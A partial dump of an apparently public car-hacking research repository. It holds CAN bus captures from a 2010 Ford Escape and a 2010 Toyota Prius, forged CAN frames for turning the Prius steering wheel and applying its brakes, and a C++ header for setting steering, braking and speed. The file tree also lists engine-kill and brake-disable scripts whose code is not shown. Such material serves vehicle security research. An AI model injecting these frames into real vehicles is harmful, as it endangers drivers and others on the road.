├── README.md ├── Remote Car Hacking.pdf ├── can message injection.pdf ├── captures ├── 2010 Ford Escape │ ├── abs_service_bleed.dat │ ├── autopark.dat │ ├── drive.dat │ ├── idle.dat │ └── pam_prog.dat └── 2010 Toyota Prius │ ├── All-Driving.dat │ ├── T-0052-11_upgrade.dat │ └── control │ ├── Brake-Assist-Full.dat │ ├── DIA_drivers_seatbelt_motor.dat │ ├── DIA_fuel_cut_all_cylinders.dat │ ├── Wheel-Forged-Centered.dat │ ├── Wheel-Forged-Clockwise-Full.dat │ └── Wheel-Forged-CounterClockwise-Full.dat ├── car_hacking.pdf ├── car_hacking_poories.pdf ├── code ├── ECOMCat │ ├── ECOMCat.c │ ├── ECOMCat.vcxproj │ ├── ecommlib.h │ └── ecommlib.lib ├── ecomcat_api │ ├── CarLib │ │ ├── CarLib.cpp │ │ ├── CarLib.h │ │ ├── CarLib.vcxproj │ │ ├── ReadMe.txt │ │ ├── dllmain.cpp │ │ ├── stdafx.cpp │ │ ├── stdafx.h │ │ └── targetver.h │ ├── CarLib_Test │ │ ├── CarLib_Test.vcxproj │ │ └── main.cpp │ ├── Debug │ │ ├── CarControl.exe │ │ ├── CarControl.exp │ │ ├── CarControl.ilk │ │ ├── CarControl.lib │ │ ├── CarControl.pdb │ │ ├── CarLib.dll │ │ ├── CarLib.exp │ │ ├── CarLib.ilk │ │ ├── CarLib.lib │ │ ├── CarLib.pdb │ │ ├── CarLib.xml │ │ ├── CarLib_Test.exe │ │ ├── CarLib_Test.exp │ │ ├── CarLib_Test.ilk │ │ ├── CarLib_Test.lib │ │ ├── CarLib_Test.pdb │ │ ├── can_bridge.exe │ │ ├── can_bridge.ilk │ │ ├── can_bridge.pdb │ │ ├── ecomcat_api.dll │ │ ├── ecomcat_api.exp │ │ ├── ecomcat_api.ilk │ │ ├── ecomcat_api.lib │ │ ├── ecomcat_api.pdb │ │ ├── test_api.exe │ │ ├── test_api.ilk │ │ └── test_api.pdb │ ├── FordStuff.py │ ├── PyEcom.py │ ├── RoutineControl.py │ ├── apply_brakes.py.py │ ├── brute_keys.py │ ├── check_diagnostics.py │ ├── config.py │ ├── ecomcat_api.sln │ ├── ecomcat_api.suo │ ├── ecomcat_api │ │ ├── Debug │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── api_file.obj │ │ │ ├── cl.command.1.tlog │ │ │ ├── ecomcat_api.Build.CppClean.log │ │ │ ├── ecomcat_api.dll.embed.manifest │ │ │ ├── ecomcat_api.dll.embed.manifest.res │ │ │ ├── ecomcat_api.dll.intermediate.manifest │ │ │ ├── ecomcat_api.lastbuildstate │ │ │ ├── ecomcat_api.log │ │ │ ├── ecomcat_api.pch │ │ │ ├── ecomcat_api.write.1.tlog │ │ │ ├── ecomcat_api_manifest.rc │ │ │ ├── link-cvtres.read.1.tlog │ │ │ ├── link-cvtres.write.1.tlog │ │ │ ├── link.10384-cvtres.read.1.tlog │ │ │ ├── link.10384-cvtres.write.1.tlog │ │ │ ├── link.10384.read.1.tlog │ │ │ ├── link.10384.write.1.tlog │ │ │ ├── link.10656-cvtres.read.1.tlog │ │ │ ├── link.10656-cvtres.write.1.tlog │ │ │ ├── link.10656.read.1.tlog │ │ │ ├── link.10656.write.1.tlog │ │ │ ├── link.11068-cvtres.read.1.tlog │ │ │ ├── link.11068-cvtres.write.1.tlog │ │ │ ├── link.11068.read.1.tlog │ │ │ ├── link.11068.write.1.tlog │ │ │ ├── link.11420-cvtres.read.1.tlog │ │ │ ├── link.11420-cvtres.write.1.tlog │ │ │ ├── link.11420.read.1.tlog │ │ │ ├── link.11420.write.1.tlog │ │ │ ├── link.11536-cvtres.read.1.tlog │ │ │ ├── link.11536-cvtres.write.1.tlog │ │ │ ├── link.11536.read.1.tlog │ │ │ ├── link.11536.write.1.tlog │ │ │ ├── link.11628-cvtres.read.1.tlog │ │ │ ├── link.11628-cvtres.write.1.tlog │ │ │ ├── link.11628.read.1.tlog │ │ │ ├── link.11628.write.1.tlog │ │ │ ├── link.11960-cvtres.read.1.tlog │ │ │ ├── link.11960-cvtres.write.1.tlog │ │ │ ├── link.11960.read.1.tlog │ │ │ ├── link.11960.write.1.tlog │ │ │ ├── link.13052-cvtres.read.1.tlog │ │ │ ├── link.13052-cvtres.write.1.tlog │ │ │ ├── link.13052.read.1.tlog │ │ │ ├── link.13052.write.1.tlog │ │ │ ├── link.1696-cvtres.read.1.tlog │ │ │ ├── link.1696-cvtres.write.1.tlog │ │ │ ├── link.1696.read.1.tlog │ │ │ ├── link.1696.write.1.tlog │ │ │ ├── link.2276-cvtres.read.1.tlog │ │ │ ├── link.2276-cvtres.write.1.tlog │ │ │ ├── link.2276.read.1.tlog │ │ │ ├── link.2276.write.1.tlog │ │ │ ├── link.2444-cvtres.read.1.tlog │ │ │ ├── link.2444-cvtres.write.1.tlog │ │ │ ├── link.2444.read.1.tlog │ │ │ ├── link.2444.write.1.tlog │ │ │ ├── link.4140-cvtres.read.1.tlog │ │ │ ├── link.4140-cvtres.write.1.tlog │ │ │ ├── link.4140.read.1.tlog │ │ │ ├── link.4140.write.1.tlog │ │ │ ├── link.4900-cvtres.read.1.tlog │ │ │ ├── link.4900-cvtres.write.1.tlog │ │ │ ├── link.4900.read.1.tlog │ │ │ ├── link.4900.write.1.tlog │ │ │ ├── link.5220-cvtres.read.1.tlog │ │ │ ├── link.5220-cvtres.write.1.tlog │ │ │ ├── link.5220.read.1.tlog │ │ │ ├── link.5220.write.1.tlog │ │ │ ├── link.5320-cvtres.read.1.tlog │ │ │ ├── link.5320-cvtres.write.1.tlog │ │ │ ├── link.5320.read.1.tlog │ │ │ ├── link.5320.write.1.tlog │ │ │ ├── link.5464-cvtres.read.1.tlog │ │ │ ├── link.5464-cvtres.write.1.tlog │ │ │ ├── link.5464.read.1.tlog │ │ │ ├── link.5464.write.1.tlog │ │ │ ├── link.5596-cvtres.read.1.tlog │ │ │ ├── link.5596-cvtres.write.1.tlog │ │ │ ├── link.5596.read.1.tlog │ │ │ ├── link.5596.write.1.tlog │ │ │ ├── link.5668-cvtres.read.1.tlog │ │ │ ├── link.5668-cvtres.write.1.tlog │ │ │ ├── link.5668.read.1.tlog │ │ │ ├── link.5668.write.1.tlog │ │ │ ├── link.6552-cvtres.read.1.tlog │ │ │ ├── link.6552-cvtres.write.1.tlog │ │ │ ├── link.6552.read.1.tlog │ │ │ ├── link.6552.write.1.tlog │ │ │ ├── link.7288-cvtres.read.1.tlog │ │ │ ├── link.7288-cvtres.write.1.tlog │ │ │ ├── link.7288.read.1.tlog │ │ │ ├── link.7288.write.1.tlog │ │ │ ├── link.7740-cvtres.read.1.tlog │ │ │ ├── link.7740-cvtres.write.1.tlog │ │ │ ├── link.7740.read.1.tlog │ │ │ ├── link.7740.write.1.tlog │ │ │ ├── link.8268-cvtres.read.1.tlog │ │ │ ├── link.8268-cvtres.write.1.tlog │ │ │ ├── link.8268.read.1.tlog │ │ │ ├── link.8268.write.1.tlog │ │ │ ├── link.8512-cvtres.read.1.tlog │ │ │ ├── link.8512-cvtres.write.1.tlog │ │ │ ├── link.8512.read.1.tlog │ │ │ ├── link.8512.write.1.tlog │ │ │ ├── link.8724-cvtres.read.1.tlog │ │ │ ├── link.8724-cvtres.write.1.tlog │ │ │ ├── link.8724.read.1.tlog │ │ │ ├── link.8724.write.1.tlog │ │ │ ├── link.8816-cvtres.read.1.tlog │ │ │ ├── link.8816-cvtres.write.1.tlog │ │ │ ├── link.8816.read.1.tlog │ │ │ ├── link.8816.write.1.tlog │ │ │ ├── link.8876-cvtres.read.1.tlog │ │ │ ├── link.8876-cvtres.write.1.tlog │ │ │ ├── link.8876.read.1.tlog │ │ │ ├── link.8876.write.1.tlog │ │ │ ├── link.9016.read.1.tlog │ │ │ ├── link.9016.write.1.tlog │ │ │ ├── link.9288-cvtres.read.1.tlog │ │ │ ├── link.9288-cvtres.write.1.tlog │ │ │ ├── link.9288.read.1.tlog │ │ │ ├── link.9288.write.1.tlog │ │ │ ├── link.9344-cvtres.read.1.tlog │ │ │ ├── link.9344-cvtres.write.1.tlog │ │ │ ├── link.9344.read.1.tlog │ │ │ ├── link.9344.write.1.tlog │ │ │ ├── link.9636-cvtres.read.1.tlog │ │ │ ├── link.9636-cvtres.write.1.tlog │ │ │ ├── link.9636.read.1.tlog │ │ │ ├── link.9636.write.1.tlog │ │ │ ├── link.9760-cvtres.read.1.tlog │ │ │ ├── link.9760-cvtres.write.1.tlog │ │ │ ├── link.9760.read.1.tlog │ │ │ ├── link.9760.write.1.tlog │ │ │ ├── link.9796-cvtres.read.1.tlog │ │ │ ├── link.9796-cvtres.write.1.tlog │ │ │ ├── link.9796.read.1.tlog │ │ │ ├── link.9796.write.1.tlog │ │ │ ├── link.9812-cvtres.read.1.tlog │ │ │ ├── link.9812-cvtres.write.1.tlog │ │ │ ├── link.9812.read.1.tlog │ │ │ ├── link.9812.write.1.tlog │ │ │ ├── link.9840.read.1.tlog │ │ │ ├── link.9840.write.1.tlog │ │ │ ├── link.9980-cvtres.read.1.tlog │ │ │ ├── link.9980-cvtres.write.1.tlog │ │ │ ├── link.9980.read.1.tlog │ │ │ ├── link.9980.write.1.tlog │ │ │ ├── link.command.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ ├── link.write.1.tlog │ │ │ ├── mt.command.1.tlog │ │ │ ├── mt.read.1.tlog │ │ │ ├── mt.write.1.tlog │ │ │ ├── rc.command.1.tlog │ │ │ ├── rc.read.1.tlog │ │ │ ├── rc.write.1.tlog │ │ │ ├── stdafx.obj │ │ │ ├── vc100.idb │ │ │ └── vc100.pdb │ │ ├── ReadMe.txt │ │ ├── api_file.c │ │ ├── api_file.h │ │ ├── ecomcat_api.vcxproj │ │ ├── ecomcat_api.vcxproj.filters │ │ ├── ecomcat_api.vcxproj.user │ │ ├── ecommlib.h │ │ ├── ecommlib.lib │ │ ├── stdafx.cpp │ │ ├── stdafx.h │ │ └── targetver.h │ ├── flood.py │ ├── ford_try_wheel.py │ ├── iso14229.py │ ├── kill_engine.py.py │ ├── lights_flashing.py │ ├── lights_out.py │ ├── message-looper.py │ ├── nav_system.py │ ├── no_brakes.py │ ├── odometer.py │ ├── pcm.py │ ├── program_pam.py │ ├── seatbelt-ecu.py │ ├── seatbelt-writer.py │ ├── security.py │ ├── speed_bad.dat │ ├── speedometer.py │ ├── terminal.py │ ├── test.py │ ├── test_api │ │ ├── ReadMe.txt │ │ ├── stdafx.cpp │ │ ├── stdafx.h │ │ ├── targetver.h │ │ ├── test_api.c │ │ └── test_api.vcxproj │ ├── tester.py │ ├── toyota_accelerate.py │ ├── toyota_brake_immobilizer.py │ ├── toyota_cracker.py │ ├── toyota_diagnostics.py │ ├── toyota_ecm.bin │ ├── toyota_flash_console.py │ ├── toyota_flasher.py │ ├── toyota_kill_engine.py │ ├── toyota_lka_wheel_turn_clockwise.py │ ├── toyota_lka_wheel_turn_counterclockwise.py │ ├── toyota_memory_reader.py │ ├── toyota_play_capture.py │ ├── toyota_request_seed.py │ ├── toyota_securityaccess_progmode.py │ ├── toyota_speed_00B4.py │ ├── toyota_speed_00B6.py │ ├── toyota_speed_diag.py │ ├── toyota_wheel_turn_clockwise.py │ ├── toyota_wheel_turn_counter.py │ ├── toyoyta_speed_invalidator.py │ ├── wheel.dat │ ├── wheel2.dat │ ├── wheel_counter.dat │ ├── wheel_more.dat │ └── ztest.py └── scripts │ ├── SFF.py │ ├── analyze.py │ ├── carda12chrislog_win.py │ ├── cardaq2chrislog.py │ ├── cardaq_compare.py │ ├── cuw_fixer.py │ ├── data_puller.py │ ├── diff_ids.py │ ├── diff_lines.py │ ├── find_diag_id.py │ ├── find_wheel.py │ ├── get_wheel.py │ ├── get_wheel_info.py │ ├── get_wheel_timing.py │ ├── histocan.py │ ├── ids.py │ ├── make_firmware.py │ ├── make_stopped_autopark_data.py │ ├── mot_chsum.py │ ├── one_line_at_a_time.py │ ├── prius_read_14229ids.py │ ├── read_14229ids.py │ ├── remove_lines.py │ ├── replay_it.py │ ├── send_line.py │ ├── try_to_turn_wheel.py │ ├── unique_frames.py │ └── unique_id_len.py └── remote attack surfaces.pdf /README.md: -------------------------------------------------------------------------------- 1 | # Carhacking 2 | car hacking tools 3 | Compiled set of tools and documents 4 | 5 | PRs are welcome, no blobs please. 6 | -------------------------------------------------------------------------------- /Remote Car Hacking.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/Remote Car Hacking.pdf -------------------------------------------------------------------------------- /can message injection.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/can message injection.pdf -------------------------------------------------------------------------------- /captures/2010 Ford Escape/abs_service_bleed.dat: -------------------------------------------------------------------------------- 1 | IDH: 07, IDL: 60, Len: 08, Data: 02 10 87 00 00 00 00 00 ,TS: 235180,BAUD: 1 2 | IDH: 07, IDL: 68, Len: 08, Data: 03 7F 10 78 00 00 00 00 ,TS: 235804,BAUD: 1 3 | IDH: 07, IDL: 68, Len: 08, Data: 02 50 87 00 00 00 00 00 ,TS: 235957,BAUD: 1 4 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 252057,BAUD: 1 5 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 252352,BAUD: 1 6 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 267762,BAUD: 1 7 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 267977,BAUD: 1 8 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 283382,BAUD: 1 9 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 283602,BAUD: 1 10 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 299103,BAUD: 1 11 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 299397,BAUD: 1 12 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 330274,BAUD: 1 13 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 330476,BAUD: 1 14 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 345995,BAUD: 1 15 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 346264,BAUD: 1 16 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 361490,BAUD: 1 17 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 361744,BAUD: 1 18 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 377213,BAUD: 1 19 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 377529,BAUD: 1 20 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 408401,BAUD: 1 21 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 408601,BAUD: 1 22 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 424111,BAUD: 1 23 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 424389,BAUD: 1 24 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 439585,BAUD: 1 25 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 439851,BAUD: 1 26 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 455305,BAUD: 1 27 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 455475,BAUD: 1 28 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 486496,BAUD: 1 29 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 486729,BAUD: 1 30 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 502218,BAUD: 1 31 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 502513,BAUD: 1 32 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 517932,BAUD: 1 33 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 518153,BAUD: 1 34 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 533637,BAUD: 1 35 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 533913,BAUD: 1 36 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 564831,BAUD: 1 37 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 565013,BAUD: 1 38 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 580437,BAUD: 1 39 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 580639,BAUD: 1 40 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 596157,BAUD: 1 41 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 596416,BAUD: 1 42 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 611890,BAUD: 1 43 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 612203,BAUD: 1 44 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 643066,BAUD: 1 45 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 643287,BAUD: 1 46 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 658791,BAUD: 1 47 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 659078,BAUD: 1 48 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 3A A0 00 00 ,TS: 674261,BAUD: 1 49 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 674547,BAUD: 1 50 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 689976,BAUD: 1 51 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 690161,BAUD: 1 52 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 721185,BAUD: 1 53 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 721411,BAUD: 1 54 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 736903,BAUD: 1 55 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 737204,BAUD: 1 56 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 40 00 00 00 ,TS: 752362,BAUD: 1 57 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 752663,BAUD: 1 58 | IDH: 07, IDL: 60, Len: 08, Data: 05 B1 00 2B 00 00 00 00 ,TS: 768077,BAUD: 1 59 | IDH: 07, IDL: 68, Len: 08, Data: 03 F1 00 2B 00 00 00 00 ,TS: 768286,BAUD: 1 60 | -------------------------------------------------------------------------------- /captures/2010 Toyota Prius/control/Brake-Assist-Full.dat: -------------------------------------------------------------------------------- 1 | IDH: 02, IDL: 83, Len: 07, Data: 61 00 E0 BE 8C 00 17 2 | -------------------------------------------------------------------------------- /captures/2010 Toyota Prius/control/Wheel-Forged-Centered.dat: -------------------------------------------------------------------------------- 1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70 2 | IDH: 02, IDL: 66, Len: 08, Data: 30 00 10 01 00 00 AC 5D 3 | -------------------------------------------------------------------------------- /captures/2010 Toyota Prius/control/Wheel-Forged-Clockwise-Full.dat: -------------------------------------------------------------------------------- 1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70 2 | IDH: 02, IDL: 66, Len: 08, Data: 3E AA 10 01 00 00 AC 15 3 | -------------------------------------------------------------------------------- /captures/2010 Toyota Prius/control/Wheel-Forged-CounterClockwise-Full.dat: -------------------------------------------------------------------------------- 1 | IDH: 01, IDL: 27, Len: 08, Data: 68 10 00 08 00 12 AE 70 2 | IDH: 02, IDL: 66, Len: 08, Data: 31 55 10 01 00 00 AC B3 3 | -------------------------------------------------------------------------------- /car_hacking.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/car_hacking.pdf -------------------------------------------------------------------------------- /car_hacking_poories.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/car_hacking_poories.pdf -------------------------------------------------------------------------------- /code/ECOMCat/ECOMCat.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {7D6DA6D6-F36B-42BF-ABE7-954EDC88833E} 15 | Win32Proj 16 | ECOMCat 17 | 18 | 19 | 20 | Application 21 | true 22 | Unicode 23 | 24 | 25 | Application 26 | false 27 | true 28 | Unicode 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | true 42 | 43 | 44 | false 45 | 46 | 47 | 48 | 49 | 50 | Level3 51 | Disabled 52 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 53 | 54 | 55 | Console 56 | true 57 | 58 | 59 | 60 | 61 | Level3 62 | 63 | 64 | MaxSpeed 65 | true 66 | true 67 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 68 | 69 | 70 | Console 71 | true 72 | true 73 | true 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /code/ECOMCat/ecommlib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ECOMCat/ecommlib.lib -------------------------------------------------------------------------------- /code/ecomcat_api/CarLib/CarLib.h: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | #define PARK 1 4 | #define DRIVE 2 5 | #define REVERSE 3 6 | #define NEUTRAL 4 7 | #define ENGINEBRAKE 5 8 | #define LOW 6 9 | 10 | #define BRAKE_ENGAGED 0 11 | #define BRAKE_DISENGAGED 1 12 | #define BRAKE_LOCKED 2 13 | 14 | #define AUTOPARK_ENABLED 0 15 | #define AUTOPARK_DISABLED 1 16 | 17 | 18 | class __declspec(dllexport) Car 19 | { 20 | protected: 21 | HANDLE ecom_device; 22 | unsigned short year; 23 | 24 | unsigned short SPEED_WID; 25 | unsigned short RPM_WID; 26 | unsigned short BRAKE_PEDAL_WID; 27 | unsigned short GAS_PEDAL_WID; 28 | unsigned short STEERING_ANGLE_WID; 29 | unsigned short CURR_GEAR_WID; 30 | unsigned short AUTO_PARK_WID; 31 | unsigned short AUTO_BRAKE_WID; 32 | 33 | public: 34 | SFFMessage* get_single(unsigned short wid); 35 | 36 | //getters 37 | virtual unsigned int GetSpeed() = 0; 38 | virtual unsigned short GetRPM() = 0; 39 | virtual unsigned char GetBrakeState() = 0; 40 | virtual unsigned char GetGasPedalAngle() = 0; 41 | virtual short GetSteeringAngle() = 0; 42 | virtual unsigned char GetCurrGear() = 0; 43 | virtual unsigned char GetAutoPark() = 0; 44 | virtual unsigned short GetAutoBrake() = 0; 45 | 46 | //setters 47 | virtual void SetAutoBrake(unsigned short pressure, unsigned int for_time) = 0; 48 | virtual void SetSpeed(unsigned short KPH, unsigned int for_time) = 0; 49 | virtual void SetSteeringAngle(short angle, unsigned int for_time) = 0; 50 | virtual void SetRPM(unsigned short RPM, unsigned int for_time) = 0; 51 | }; 52 | 53 | class __declspec(dllexport) ToyotaPrius : Car 54 | { 55 | public: 56 | ToyotaPrius(); 57 | void AddChecksum(SFFMessage *sff); 58 | 59 | //getters 60 | unsigned int GetSpeed(); 61 | unsigned short GetRPM(); 62 | unsigned char GetBrakeState(); 63 | unsigned char GetGasPedalAngle(); 64 | short GetSteeringAngle(); 65 | unsigned char GetCurrGear(); 66 | unsigned char GetAutoPark(); 67 | unsigned short GetAutoBrake(); 68 | 69 | //setters 70 | void SetAutoBrake(unsigned short pressure, unsigned int for_time); 71 | void SetSpeed(unsigned short KPH, unsigned int for_time); 72 | void SetSteeringAngle(short angle, unsigned int for_time); 73 | void SetRPM(unsigned short RPM, unsigned int for_time); 74 | 75 | //Car specific 76 | short GetServoAngle(); 77 | }; 78 | 79 | class __declspec(dllexport) FordEscape : Car 80 | { 81 | public: 82 | FordEscape(); 83 | 84 | //getters 85 | unsigned int GetSpeed(); 86 | unsigned short GetRPM(); 87 | unsigned char GetBrakeState(); 88 | unsigned char GetGasPedalAngle(); 89 | short GetSteeringAngle(); 90 | unsigned char GetCurrGear(); 91 | unsigned char GetAutoPark(); 92 | unsigned short GetAutoBrake(); 93 | 94 | //setters 95 | void SetAutoBrake(unsigned short pressure, unsigned int for_time); 96 | void SetSpeed(unsigned short KPH, unsigned int for_time); 97 | void SetSteeringAngle(short angle, unsigned int for_time); 98 | void SetRPM(unsigned short RPM, unsigned int for_time); 99 | }; 100 | -------------------------------------------------------------------------------- /code/ecomcat_api/CarLib/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | DYNAMIC LINK LIBRARY : CarLib Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this CarLib DLL for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your CarLib application. 9 | 10 | 11 | CarLib.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | CarLib.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | CarLib.cpp 25 | This is the main DLL source file. 26 | 27 | When created, this DLL does not export any symbols. As a result, it 28 | will not produce a .lib file when it is built. If you wish this project 29 | to be a project dependency of some other project, you will either need to 30 | add code to export some symbols from the DLL so that an export library 31 | will be produced, or you can set the Ignore Input Library property to Yes 32 | on the General propert page of the Linker folder in the project's Property 33 | Pages dialog box. 34 | 35 | ///////////////////////////////////////////////////////////////////////////// 36 | Other standard files: 37 | 38 | StdAfx.h, StdAfx.cpp 39 | These files are used to build a precompiled header (PCH) file 40 | named CarLib.pch and a precompiled types file named StdAfx.obj. 41 | 42 | ///////////////////////////////////////////////////////////////////////////// 43 | Other notes: 44 | 45 | AppWizard uses "TODO:" comments to indicate parts of the source code you 46 | should add to or customize. 47 | 48 | ///////////////////////////////////////////////////////////////////////////// 49 | -------------------------------------------------------------------------------- /code/ecomcat_api/CarLib/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "stdafx.h" 3 | 4 | BOOL APIENTRY DllMain( HMODULE hModule, 5 | DWORD ul_reason_for_call, 6 | LPVOID lpReserved 7 | ) 8 | { 9 | switch (ul_reason_for_call) 10 | { 11 | case DLL_PROCESS_ATTACH: 12 | case DLL_THREAD_ATTACH: 13 | case DLL_THREAD_DETACH: 14 | case DLL_PROCESS_DETACH: 15 | break; 16 | } 17 | return TRUE; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /code/ecomcat_api/CarLib/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // CarLib.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /code/ecomcat_api/CarLib/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | extern "C" { 11 | #include "..\ecomcat_api\api_file.h" 12 | } 13 | 14 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 15 | // Windows Header Files: 16 | #include 17 | 18 | 19 | 20 | // TODO: reference additional headers your program requires here 21 | -------------------------------------------------------------------------------- /code/ecomcat_api/CarLib/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to 